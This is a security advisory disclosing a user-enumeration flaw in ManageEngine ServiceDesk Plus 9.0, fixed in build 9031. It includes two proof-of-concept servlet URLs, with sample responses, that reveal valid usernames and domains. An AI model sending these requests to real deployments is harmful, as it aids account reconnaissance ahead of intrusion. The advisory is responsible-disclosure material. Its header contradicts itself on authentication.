ManageEngine ServiceDesk 9.0 User Enumeration

`================================================================================  
[REWTERZ-20140102] - Rewterz - Security Advisory  
================================================================================  
  
Title: ManageEngine ServiceDesk Plus User Enumeration Vulnerability  
Product: ServiceDesk Plus (http://www.manageengine.com/)  
Affected Version: 9.0 (Other versions could also be affected)  
Fixed Version: 9.0 Build 9031  
Vulnerability Impact: Low  
Advisory ID: REWTERZ-20140102  
Published Date: 22-Jan-2015  
Researcher: Muhammad Ahmed Siddiqui  
Email: ahmed [at] rewterz.com  
URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-plus-user-enumeration-vulnerability  
  
================================================================================  
  
  
Product Introduction  
===============  
  
ServiceDesk Plus is a help desk software with integrated asset and  
project management built on the ITIL framework. It is available in 29  
different languages and is used by more than 85,000 companies, across  
186 countries, to manage their IT help desk and assets.  
  
Source: http://www.manageengine.com/products/service-desk/  
  
  
Vulnerability Information  
==================  
  
Class: User Name Enumeration  
Impact: An unauthenticated and authenticated user can enumerate users  
Remotely Exploitable: Yes  
Authentication Required: Yes  
User interaction required: Yes  
CVE Name: N/A  
  
  
Vulnerability Description  
===================  
  
An unauthenticated and authenticated user can enumerate all the users  
and domains on the system by sending a simple request to URL.  
  
  
Proof-of-Concept Authenticated User  
============================  
  
An attacker can use the following URL to enumerate users and domains  
by accessing the following URL:  
  
http:// 127.0.0.1:8080/servlet/AJaxServlet?action=checkUser&search=guest  
  
Response if User is valid:  
  
{ USER_PRESENT: 'true', IN_SITE: 'true' }  
  
  
Response if User is invalid:  
  
{ USER_PRESENT: 'false', ADD_REQUESTER: 'false' }  
  
  
Proof-of-Concept Unauthenticated User  
==============================  
  
An attacker can use the following URL to enumerate users and domains  
by accessing the following URL:  
  
http://127.0.0.1:8080/domainServlet/AJaxDomainServlet?action=searchLocalAuthDomain&search=100101  
  
  
If the user in the Search Parameter is found the response will contain  
the domain name in which that particular user exists.  
  
  
Timeline  
=======  
  
23-Dec-2014 – Notification to Vendor  
24-Dec-2014 – Response from Vendor  
30-Dec-2014 – Vulnerability fixed by Vendor  
  
  
About Rewterz  
============  
  
Rewterz is a boutique Information Security company, committed to  
consistently providing world class professional security services. Our  
strategy revolves around the need to provide round-the-clock quality  
information security services and solutions to our customers. We  
maintain this standard through our highly skilled and professional  
team, and custom-designed, customer-centric services and products.  
  
http://www.rewterz.com  
  
Complete list of vulnerability advisories published by Rewterz:  
  
http://www.rewterz.com/resources/security-advisories  
`